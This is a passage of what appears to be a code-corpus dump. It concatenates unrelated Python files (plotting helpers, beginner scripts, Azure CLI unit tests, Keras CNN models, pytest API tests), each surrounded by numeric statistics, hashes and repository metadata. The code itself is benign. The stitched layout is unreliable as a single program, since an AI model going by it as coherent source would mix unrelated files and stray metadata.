pd.DataFrame(index=y_test.index) df_pred['ev_count'] = y_pred ax = sns.distplot(df_pred.loc[msoas]['ev_count'], hist_kws={ 'rwidth': 0.85, 'edgecolor': 'black', 'alpha': 0.2}, label='Predicted') ax = sns.distplot(y_test.loc[msoas]['ev_count'], hist_kws={ 'rwidth': 0.85, 'edgecolor': 'black', 'alpha': 0.2}, label='Test') ax.set_title('Nonzero EV Distribution') plt.legend() return ax def plot_single_msoa_train_val_test(y_train, y_val, y_test, y_pred_test, y_pred_val, msoa): # Map Y-pred array to a dataframe with consistent indices to test set df_pred_test = pd.DataFrame(index=y_test.index) df_pred_test['ev_count'] = y_pred_test df_pred_test.head() # Map Y-pred array to a dataframe with consistent indices to test set df_pred_val = pd.DataFrame(index=y_val.index) df_pred_val['ev_count'] = y_pred_val df_pred_val.head() fig, ax = plt.subplots(figsize=(10,5)) ax.plot(y_train.loc[msoa,:], color='k', label='Train') ax.plot(y_val.loc[msoa,:], color='k',linestyle='-', label='Validation') ax.plot(df_pred_val.loc[msoa,:], color='b', linestyle=':',label='Predicted (val)') ax.plot(y_test.loc[msoa,:], color='b', label='Test') ax.plot(df_pred_test.loc[msoa,:], color='b', linestyle=':',label='Predicted (test)') ax.set_xlabel('Date') ax.set_ylabel('EV Count') plt.xticks([min(y_train.loc[msoa,:].index), max(y_train.loc[msoa,:].index), max(y_val.loc[msoa,:].index), max(y_test.loc[msoa,:].index)], rotation=45) plt.axvline(x=max(y_train.loc[msoa,:].index), color='k', linestyle='--') plt.axvline(x=max(y_val.loc[msoa,:].index), color='k', linestyle='--') plt.legend() return ax

34.205607

91

0.589344

534

3,660

3.853933

0.151685

0.052478

0.058309

0.050535

0.808066

0.802235

0.773567

0.721088

0.705539

0

0.010889

0.247268

3,660

107

92

34.205607

0.736116

0.075137

0

0.666667

0

0.10559

0

1

0.049383

false

0

0.061728

0

0.160494

0

null

0

1

0

null

0

6

ec3cfdc4a45d8823fdeaf065d1e72478073a10a4

36

py

Python

Basics/largest-in-an-array.py

abhishek8075374519/python-for-beginners

a3c0334751001c6468819af7c8ae7ec0993a48c3

[ "MIT" ]

null

Basics/largest-in-an-array.py

abhishek8075374519/python-for-beginners

a3c0334751001c6468819af7c8ae7ec0993a48c3

[ "MIT" ]

null

Basics/largest-in-an-array.py

abhishek8075374519/python-for-beginners

a3c0334751001c6468819af7c8ae7ec0993a48c3

[ "MIT" ]

null

a = [5, 6, 8, 2, 3] print(max(a))

12

20

0.416667

9

36

1.666667

0.888889

0

0.192308

0.277778

36

2

21

18

0.384615

0

1

0

false

0

0.5

1

null

0

1

0

1

0

null

0

1

0

6

ec4199d622b17f3a0360ce89a478354d85c58add

163

py

Python

plpred/models/__init__.py

mandimunari/-plpred

15891da492ea7337d9113d499ffa518b147c7354

[ "MIT" ]

null

plpred/models/__init__.py

mandimunari/-plpred

15891da492ea7337d9113d499ffa518b147c7354

[ "MIT" ]

null

plpred/models/__init__.py

mandimunari/-plpred

15891da492ea7337d9113d499ffa518b147c7354

[ "MIT" ]

null

from .plpred_rf import PlpredRF from .plpred_gb import PlpredGB from .plpred_nn import PlpredNN from .plpred_svm import PlpredSVM from .base_model import BaseModel

32.6

33

0.852761

25

163

5.36

0.56

0.298507

0

0.116564

163

5

34

32.6

0.930556

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

6ba2ee41e980307b41e9d8a09be94d198c71f09a

8,606

py

Python

src/azure-cli-core/azure/cli/core/tests/test_api_profiles.py

v-Ajnava/azure-cli

febec631d79bfca151e84267b5b409594bad598e

[ "MIT" ]

null

src/azure-cli-core/azure/cli/core/tests/test_api_profiles.py

v-Ajnava/azure-cli

febec631d79bfca151e84267b5b409594bad598e

[ "MIT" ]

3

2021-03-26T00:48:20.000Z

2022-03-29T22:05:39.000Z

src/azure-cli-core/azure/cli/core/tests/test_api_profiles.py

v-Ajnava/azure-cli

febec631d79bfca151e84267b5b409594bad598e

[ "MIT" ]

1

2017-12-28T04:51:44.000Z

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- import unittest import mock from azure.cli.core.profiles import (get_api_version, supported_api_version, PROFILE_TYPE, ResourceType) from azure.cli.core.profiles._shared import APIVersionException from azure.cli.core.cloud import Cloud class TestAPIProfiles(unittest.TestCase): @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_get_api_version(self): # Can get correct resource type API version test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): self.assertEqual(get_api_version(ResourceType.MGMT_STORAGE), '2020-10-10') @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_get_api_version_invalid_rt(self): # Resource Type not in profile test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): with self.assertRaises(APIVersionException): get_api_version(ResourceType.MGMT_COMPUTE) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='not-a-real-profile')) def test_get_api_version_invalid_active_profile(self): # The active profile is not in our profile dict test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): with self.assertRaises(APIVersionException): get_api_version(ResourceType.MGMT_STORAGE) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='not-a-real-profile')) def test_supported_api_version_invalid_profile_name(self): # Invalid name for the profile name with self.assertRaises(ValueError): supported_api_version(PROFILE_TYPE, min_api='2000-01-01') @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_get_api_version_invalid_rt_2(self): # None is not a valid resource type test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): with self.assertRaises(APIVersionException): get_api_version(None) def test_supported_api_profile_no_constraints(self): # At least a min or max version must be specified with self.assertRaises(ValueError): supported_api_version(PROFILE_TYPE) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2000-01-01-profile')) def test_supported_api_profile_min_constraint(self): self.assertTrue(supported_api_version(PROFILE_TYPE, min_api='2000-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2000-01-01-profile-preview')) def test_supported_api_profile_min_constraint_not_supported(self): self.assertFalse(supported_api_version(PROFILE_TYPE, min_api='2000-01-02')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2000-01-01-profile')) def test_supported_api_profile_min_max_constraint(self): self.assertTrue(supported_api_version(PROFILE_TYPE, min_api='2000-01-01', max_api='2000-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2000-01-01-profile')) def test_supported_api_profile_max_constraint_not_supported(self): self.assertFalse(supported_api_version(PROFILE_TYPE, max_api='1999-12-30')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2000-01-01-profile')) def test_supported_api_profile_preview_constraint(self): self.assertTrue(supported_api_version(PROFILE_TYPE, min_api='2000-01-01-preview')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2000-01-01-profile-preview')) def test_supported_api_profile_preview_constraint_in_profile(self): self.assertFalse(supported_api_version(PROFILE_TYPE, min_api='2000-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='latest')) def test_supported_api_profile_latest(self): self.assertTrue(supported_api_version(PROFILE_TYPE, min_api='2000-01-01')) def test_supported_api_version_no_constraints(self): # At least a min or max version must be specified with self.assertRaises(ValueError): supported_api_version(ResourceType.MGMT_STORAGE) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_supported_api_version_min_constraint(self): test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): self.assertTrue(supported_api_version(ResourceType.MGMT_STORAGE, min_api='2000-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_supported_api_version_max_constraint(self): test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): self.assertTrue(supported_api_version(ResourceType.MGMT_STORAGE, max_api='2021-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_supported_api_version_min_max_constraint(self): test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): self.assertTrue(supported_api_version(ResourceType.MGMT_STORAGE, min_api='2020-01-01', max_api='2021-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_supported_api_version_max_constraint_not_supported(self): test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): self.assertFalse(supported_api_version(ResourceType.MGMT_STORAGE, max_api='2019-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_supported_api_version_min_constraint_not_supported(self): test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): self.assertFalse(supported_api_version(ResourceType.MGMT_STORAGE, min_api='2021-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_supported_api_version_preview_constraint(self): test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10-preview'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): self.assertTrue(supported_api_version(ResourceType.MGMT_STORAGE, min_api='2020-01-01')) @mock.patch('azure.cli.core._profile.CLOUD', Cloud('TestCloud', profile='2017-01-01-profile')) def test_supported_api_version_invalid_rt_for_profile(self): test_profile = {'2017-01-01-profile': {ResourceType.MGMT_STORAGE: '2020-10-10'}} with mock.patch('azure.cli.core.profiles._shared.AZURE_API_PROFILES', test_profile): with self.assertRaises(APIVersionException): supported_api_version(ResourceType.MGMT_COMPUTE, min_api='2020-01-01') if __name__ == '__main__': unittest.main()

59.763889

106

0.691843

1,102

8,606

5.133394

0.087114

0.029698

0.070002

0.090154

0.896765

0.856461

0.848683

0.834541

0.83295

0.825703

0

0.06224

0.161748

8,606

143

107

60.181818

0.72193

0.071694

0

0.457143

0

0.267018

0.144541

0

0.2

1

0.2

false

0

0.047619

0

0.257143

0

null

0

1

0

null

0

6

d4042628cd1f1bdafc00b66126eccbcea3930690

127

py

Python

condition.py

BernardoAguayoOrtega/CS50-s-Python-2020

66fc60d584220c81b03f4157f2da99a2b2910234

[ "MIT" ]

null

condition.py

BernardoAguayoOrtega/CS50-s-Python-2020

66fc60d584220c81b03f4157f2da99a2b2910234

[ "MIT" ]

null

condition.py

BernardoAguayoOrtega/CS50-s-Python-2020

66fc60d584220c81b03f4157f2da99a2b2910234

[ "MIT" ]

null

n = int(input("Number: ")) if n > 0: print("it's positive") elif n < 0: print("it's negative") else: print("it's zero")

15.875

26

0.574803

23

127

3.173913

0.608696

0.287671

0.328767

0.246575

0.273973

0

0.019802

0.204724

127

8

27

15.875

0.70297

0

0.335938

0

1

0

false

0

0.428571

1

0

null

1

0

1

0

null

0

1

0

6

d44f0647dc318829b504034dbaaf0ffb866074c3

29

py

Python

grid/server/__init__.py

daviddemeij/Grid

4ded37c437bf007ca021e00471dc4cd0651c8650

[ "Apache-2.0" ]

null

grid/server/__init__.py

daviddemeij/Grid

4ded37c437bf007ca021e00471dc4cd0651c8650

[ "Apache-2.0" ]

null

grid/server/__init__.py

daviddemeij/Grid

4ded37c437bf007ca021e00471dc4cd0651c8650

[ "Apache-2.0" ]

null

from grid.server import grid

14.5

28

0.827586

5

29

4.8

0.8

0

0.137931

29

1

29

0.96

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

2e8a61d8cfdbdbeff919be4a0c8aed855be91a70

6,334

py

Python

deep_nn.py

Matakov/Neural-Nets

4175f1824a82018ae60da6d9fd3b4d02d90f44a1

[ "MIT" ]

null

deep_nn.py

Matakov/Neural-Nets

4175f1824a82018ae60da6d9fd3b4d02d90f44a1

[ "MIT" ]

null

deep_nn.py

Matakov/Neural-Nets

4175f1824a82018ae60da6d9fd3b4d02d90f44a1

[ "MIT" ]

null

from __future__ import print_function from keras.utils.data_utils import get_file from keras.optimizers import Adam from keras.models import Sequential from keras.layers import Dense, Flatten from keras.layers import Conv2D, MaxPooling2D,AveragePooling2D from keras.layers import Input from keras import backend as K from keras.utils.conv_utils import convert_kernel import tensorflow as tf import warnings from keras.utils.layer_utils import convert_all_kernels_in_model TH_WEIGHTS_PATH_NO_TOP = 'https://github.com/fchollet/deep-learning-models/releases/download/v0.1/vgg16_weights_th_dim_ordering_th_kernels_notop.h5' TF_WEIGHTS_PATH_NO_TOP = 'https://github.com/fchollet/deep-learning-models/releases/download/v0.1/vgg16_weights_tf_dim_ordering_tf_kernels_notop.h5' def VGG16(): model = Sequential() # 1 model.add(Conv2D(64, (3, 3), activation='relu', padding='same', name='block1_conv1', input_shape = (128, 128, 1))) model.add(Conv2D(64, (3, 3), activation='relu', padding='same', name='block1_conv2')) model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool')) # 2 model.add(Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv1')) model.add(Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv2')) model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')) # 3 model.add(Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv1')) model.add(Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv2')) model.add(Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv3')) model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool')) # 4 model.add(Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv1')) model.add(Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv2')) model.add(Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv3')) model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block4_pool')) # Block 5 model.add(Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv1')) model.add(Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv2')) model.add(Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv3')) model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block5_pool')) # #Load Weights # print('K.image_dim_ordering:', K.image_dim_ordering()) # if K.image_dim_ordering() == 'th': # weights_path = get_file('vgg16_weights_th_dim_ordering_th_kernels_notop.h5', # TH_WEIGHTS_PATH_NO_TOP, # cache_subdir='models') # model.load_weights(weights_path) # if K.backend() == 'tensorflow': # warnings.warn('You are using the TensorFlow backend, yet you ' # 'are using the Theano ' # 'image dimension ordering convention ' # '(`image_dim_ordering="th"`). ' # 'For best performance, set ' # '`image_dim_ordering="tf"` in ' # 'your Keras config ' # 'at ~/.keras/keras.json.') # convert_all_kernels_in_model(model) # else: # weights_path = get_file('vgg16_weights_tf_dim_ordering_tf_kernels_notop.h5', # TF_WEIGHTS_PATH_NO_TOP, # cache_subdir='models') # model.load_weights(weights_path) # if K.backend() == 'theano': # convert_all_kernels_in_model(model) # FC Block model.add(Flatten(name='flatten')) model.add(Dense(1024, activation='relu', name='fc1')) model.add(Dense(1024, activation='relu', name='fc2')) model.add(Dense(1, activation='linear', name='fc3')) model.compile(loss='mean_squared_error', optimizer=Adam()) return model def AntonioMax(): model = Sequential() # 1 model.add(Conv2D(4, (3, 3), activation='relu', padding='same', name='block1_conv1', input_shape = (128, 128, 1))) model.add(Conv2D(4, (3, 3), activation='relu', padding='same', name='block1_conv2')) model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool')) # 2 model.add(Conv2D(16, (3, 3), activation='relu', padding='same', name='block2_conv1')) model.add(Conv2D(16, (3, 3), activation='relu', padding='same', name='block2_conv2')) model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')) # 3 model.add(Conv2D(32, (3, 3), activation='relu', padding='same', name='block3_conv1')) model.add(Conv2D(32, (3, 3), activation='relu', padding='same', name='block3_conv2')) model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool')) # FC Block model.add(Flatten(name='flatten')) model.add(Dense(512, activation='relu', name='fc1')) model.add(Dense(512, activation='relu', name='fc2')) model.add(Dense(1, activation='linear', name='fc3')) model.compile(loss='mean_squared_error', optimizer=Adam()) return model def AntonioAvg(): model = Sequential() # 1 model.add(Conv2D(4, (3, 3), activation='relu', padding='same', name='block1_conv1', input_shape = (128, 128, 1))) model.add(Conv2D(4, (3, 3), activation='relu', padding='same', name='block1_conv2')) model.add(AveragePooling2D((2, 2), strides=(2, 2), name='block1_pool')) # 2 model.add(Conv2D(16, (3, 3), activation='relu', padding='same', name='block2_conv1')) model.add(Conv2D(16, (3, 3), activation='relu', padding='same', name='block2_conv2')) model.add(AveragePooling2D((2, 2), strides=(2, 2), name='block2_pool')) # 3 model.add(Conv2D(32, (3, 3), activation='relu', padding='same', name='block3_conv1')) model.add(Conv2D(32, (3, 3), activation='relu', padding='same', name='block3_conv2')) model.add(AveragePooling2D((2, 2), strides=(2, 2), name='block3_pool')) # FC Block model.add(Flatten(name='flatten')) model.add(Dense(512, activation='relu', name='fc1')) model.add(Dense(512, activation='relu', name='fc2')) model.add(Dense(1, activation='linear', name='fc3')) model.compile(loss='mean_squared_error', optimizer=Adam()) return model

50.269841

148

0.64288

858

6,334

4.59324

0.142191

0.097437

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py

Python

Scripts/_loadlib/utils/__init__.py

xuesoso/singleToxoplasmaSeq

3dbd29b94fc484bacf3ff4cdbaf32c444f606451

[ "MIT" ]

1

2020-08-05T20:30:35.000Z

Scripts/_loadlib/utils/__init__.py

xuesoso/singleToxoplasmaSeq

3dbd29b94fc484bacf3ff4cdbaf32c444f606451

[ "MIT" ]

2

2020-02-09T22:23:13.000Z

2020-03-04T22:38:31.000Z

Scripts/_loadlib/utils/__init__.py

xuesoso/singleToxoplasmaSeq

3dbd29b94fc484bacf3ff4cdbaf32c444f606451

[ "MIT" ]

2

2020-02-18T12:33:32.000Z

2020-04-08T02:00:34.000Z

from . import sc_tools as sat # from . import sc_utilities as ut

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Python

plasmapy/tests/__init__.py

haman80/PlasmaPy

646f7ed52b89a1254be474fe54bdd672f7d27fb3

[ "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-1-Clause", "BSD-3-Clause" ]

null

plasmapy/tests/__init__.py

haman80/PlasmaPy

646f7ed52b89a1254be474fe54bdd672f7d27fb3

[ "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-1-Clause", "BSD-3-Clause" ]

null

plasmapy/tests/__init__.py

haman80/PlasmaPy

646f7ed52b89a1254be474fe54bdd672f7d27fb3

[ "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-1-Clause", "BSD-3-Clause" ]

null

"""PlasmaPy tests and test helpers.""" from plasmapy.tests import helpers

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py

Python

03_operadores_bitwise.py

Israeltalles/Codigos_ProgramacaoParaRedes

ee1bde0691af6efc6ad8e0f4805bab2cc9357bc7

[ "Apache-2.0" ]

null

03_operadores_bitwise.py

Israeltalles/Codigos_ProgramacaoParaRedes

ee1bde0691af6efc6ad8e0f4805bab2cc9357bc7

[ "Apache-2.0" ]

null

03_operadores_bitwise.py

Israeltalles/Codigos_ProgramacaoParaRedes

ee1bde0691af6efc6ad8e0f4805bab2cc9357bc7

[ "Apache-2.0" ]

null

x=1 x<<2 print(x) print(x | 2) print(x & 1) y = 0b1000 print(y) y=y>>3 #Y=0b0001 print(y)

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py

Python

benedict/core/rename.py

next-franciscoalgaba/python-benedict

81ff459304868327238c322a0a8a203d9d5d4314

[ "MIT" ]

365

2019-05-21T05:50:30.000Z

2022-03-29T11:35:35.000Z

benedict/core/rename.py

next-franciscoalgaba/python-benedict

81ff459304868327238c322a0a8a203d9d5d4314

[ "MIT" ]

78

2019-11-16T12:22:54.000Z

2022-03-14T12:21:30.000Z

benedict/core/rename.py

next-franciscoalgaba/python-benedict

81ff459304868327238c322a0a8a203d9d5d4314

[ "MIT" ]

26

2019-12-16T06:34:12.000Z

2022-02-28T07:16:41.000Z

# -*- coding: utf-8 -*- from benedict.core.move import move def rename(d, key, key_new): move(d, key, key_new, overwrite=False)

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py

Python

atpthings/__init__.py

atp-things/pkg-python-util

7ce464e38b43a84b6c8bf176b882d71e55edc4fb

[ "MIT" ]

null

atpthings/__init__.py

atp-things/pkg-python-util

7ce464e38b43a84b6c8bf176b882d71e55edc4fb

[ "MIT" ]

null

atpthings/__init__.py

atp-things/pkg-python-util

7ce464e38b43a84b6c8bf176b882d71e55edc4fb

[ "MIT" ]

null

""" atpthings ========= ATP Things python package """ from . import example123 from . import util

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py

Python

cliva_fl/multiprocessing/__init__.py

DataManagementLab/thesis-fl_client-side_validation

0f6a35d08966133e6a8c13a110b9307d91f2d9cb

[ "MIT" ]

null

cliva_fl/multiprocessing/__init__.py

DataManagementLab/thesis-fl_client-side_validation

0f6a35d08966133e6a8c13a110b9307d91f2d9cb

[ "MIT" ]

null

cliva_fl/multiprocessing/__init__.py

DataManagementLab/thesis-fl_client-side_validation

0f6a35d08966133e6a8c13a110b9307d91f2d9cb

[ "MIT" ]

null

from .core import start_validators, stop_validators from .validation_process import validation_process from .process_logger import get_process_logger

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py

Python

src/reporter/tests/test_NTNE1A.py

cnoelle/ngsi-timeseries-api

77ed420c0a7532bcc13d941c0402f457cc40407a

[ "MIT" ]

null

src/reporter/tests/test_NTNE1A.py

cnoelle/ngsi-timeseries-api

77ed420c0a7532bcc13d941c0402f457cc40407a

[ "MIT" ]

null

src/reporter/tests/test_NTNE1A.py

cnoelle/ngsi-timeseries-api

77ed420c0a7532bcc13d941c0402f457cc40407a

[ "MIT" ]

null

from conftest import QL_URL, crate_translator as translator from reporter.tests.utils import insert_test_data from datetime import datetime import pytest import requests attr_name = 'temperature' entity_type = "Room" entity_id = "Room1" entity_id_1 = "Room2" n_days = 4 def query_url(values=False): url = "{qlUrl}/attrs/{attrName}" if values: url += '/value' return url.format( qlUrl=QL_URL, attrName=attr_name ) @pytest.fixture() def reporter_dataset(translator): insert_test_data(translator, [entity_type], n_entities=1, index_size=4, entity_id=entity_id) insert_test_data(translator, [entity_type], n_entities=1, index_size=4, entity_id=entity_id_1) yield def test_NTNE1A_defaults(reporter_dataset): r = requests.get(query_url()) # Assert Results assert r.status_code == 200, r.text expected_temperatures = list(range(4)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types } obtained = r.json() assert obtained == expected def test_NTNE1A_type(reporter_dataset): # Query query_params = { 'type': entity_type } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text expected_temperatures = list(range(4)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types } obtained = r.json() assert obtained == expected def test_NTNE1A_one_entity(reporter_dataset): # Query query_params = { 'id': entity_id } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained_data = r.json() assert isinstance(obtained_data, dict) expected_temperatures = list(range(4)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types } obtained = r.json() assert obtained == expected def test_1TNENA_some_entities(reporter_dataset): # Query # Assert Results entity_ids = "Room1, Room2" query_params = { 'id': entity_ids } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained_data = r.json() assert isinstance(obtained_data, dict) expected_temperatures = list(range(4)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types } obtained = r.json() assert obtained == expected def test_NTNE1A_values_defaults(reporter_dataset): # Query query_params = { 'id': 'Room1,Room2,RoomNotValid', # -> validates to Room1,Room2. } r = requests.get(query_url(values=True), params=query_params) assert r.status_code == 200, r.text # Assert Results expected_temperatures = list(range(4)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { #'values': expected_entities, #'attrName': attr_name, 'values': expected_types #'types': expected_types } obtained = r.json() assert obtained == expected def test_weird_ids(reporter_dataset): """ Invalid ids are ignored (provided at least one is valid to avoid 404). Empty values are ignored. Order of ids is preserved in response (e.g., Room1 first, Room0 later) """ query_params = { 'id': 'Room1,RoomNotValid,Room2,', # -> validates to Room2,Room1. } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text expected_temperatures = list(range(n_days)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types } obtained = r.json() assert obtained == expected def test_NTNE1A_fromDate_toDate(reporter_dataset): # Query query_params = { 'types': 'entity_type', 'fromDate': "1970-01-01T00:00:00", 'toDate': "1970-01-04T00:00:00" } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained = r.json() assert isinstance(obtained, dict) expected_temperatures = list(range(4)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types, } obtained = r.json() assert obtained == expected def test_NTNE1A_fromDate_toDate_with_quotes(reporter_dataset): # Query query_params = { 'types': 'entity_type', 'fromDate': "1970-01-01T00:00:00", 'toDate': "1970-01-04T00:00:00" } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained = r.json() assert isinstance(obtained, dict) expected_temperatures = list(range(4)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types, } obtained = r.json() assert obtained == expected def test_NTNE1A_limit(reporter_dataset): # Query query_params = { 'limit': 10 } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained = r.json() assert isinstance(obtained, dict) expected_temperatures = list(range(4)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types, } obtained = r.json() assert obtained == expected def test_NTNE1A_combined(reporter_dataset): # Query query_params = { 'type': entity_type, 'fromDate': "1970-01-01T00:00:00", 'toDate': "1970-01-03T00:00:00", 'limit': 10, } r = requests.get(query_url(), params=query_params) assert r.status_code == 200, r.text obtained = r.json() assert isinstance(obtained, dict) expected_temperatures = list(range(3)) expected_index = [ '1970-01-{:02}T00:00:00.000'.format(i+1) for i in expected_temperatures ] expected_entities = [ { 'entityId': 'Room1', 'index': expected_index, 'values': expected_temperatures }, { 'entityId': 'Room2', 'index': expected_index, 'values': expected_temperatures } ] expected_types = [ { 'entities': expected_entities, 'entityType': 'Room' } ] expected = { 'attrName': attr_name, 'types': expected_types, } obtained = r.json() assert obtained == expected @pytest.mark.parametrize("aggr_period, exp_index, ins_period", [ ("day", ['1970-01-01T00:00:00.000', '1970-01-02T00:00:00.000', 